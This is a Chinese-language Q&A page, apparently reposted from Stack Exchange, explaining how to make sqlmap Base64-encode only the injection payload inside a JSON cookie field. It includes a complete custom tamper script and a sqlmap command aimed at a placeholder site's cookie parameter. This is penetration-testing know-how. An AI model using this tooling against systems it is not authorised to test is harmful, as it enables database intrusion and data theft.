You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让sqlmap仅对SQL注入Payload进行Base64编码而非Cookie中的JSON前缀内容?

解决sqlmap仅对JSON嵌套字段中的Payload进行Base64编码的问题

我明白你的问题了——默认的base64encode.py tamper脚本会对整个目标参数的内容进行Base64编码,但你的场景是Cookie里的userchl2_info是一个URL编码后的JSON字符串,只有其中last_book字段的值需要注入Payload并编码,默认脚本会把JSON结构的后缀部分(比如",\"userchl2\":\"\"})也一起编码,导致JSON格式完全错乱。

解决方案:自定义Tamper脚本

你需要编写一个自定义的tamper脚本,专门针对JSON中的last_book字段进行编码,而不是整个参数。以下是实现步骤:

  1. 创建一个名为json_lastbook_b64.py的脚本,内容如下:
import base64
import urllib.parse
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if not payload:
        return payload
    
    # 组装包含编码后Payload的完整JSON结构
    encoded_payload = base64.b64encode(payload.encode()).decode()
    json_str = f'{{"last_book":"{encoded_payload}","userchl2":""}}'
    # 对JSON进行URL编码以适配Cookie格式
    url_encoded_json = urllib.parse.quote(json_str)
    
    return url_encoded_json
  1. 调整sqlmap命令,使用这个自定义tamper脚本,并修正参数定位:
sqlmap -u http://site/books.php \
--cookie='sid=b6270368-4664-11ec-8ec2-98b2e4c71523; userchl2_info=PLACEHOLDER; PHPSESSID=r4prs5fb372c7ccuq4bsb947r2' \
-p userchl2_info \
--flush-session --fresh-queries \
--dbms=mysql --level=4 \
--tamper=json_lastbook_b64.py \
--proxy=http://127.0.0.1:8080

关键说明

  • 自定义脚本会把sqlmap生成的Payload先做Base64编码,再嵌入到正确的JSON结构中,最后进行URL编码,确保只有last_book字段的值是注入Payload的编码结果,JSON的其他结构完全保留。
  • -p userchl2_info指定目标参数是整个userchl2_infoCookie项,而非之前的部分JSON片段,让sqlmap把整个参数的生成权交给tamper脚本。
  • Cookie中的userchl2_info值可以填任意占位符(比如PLACEHOLDER),脚本会自动替换为正确的编码后内容。

验证

用Burp Suite抓包查看请求,你会看到userchl2_info的值是符合要求的URL编码JSON:last_book字段的值是sqlmap注入Payload的Base64编码,其余JSON结构保持原样,不会被错误编码。

内容的提问来源于stack exchange,提问作者Bradley

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.01 02:27:47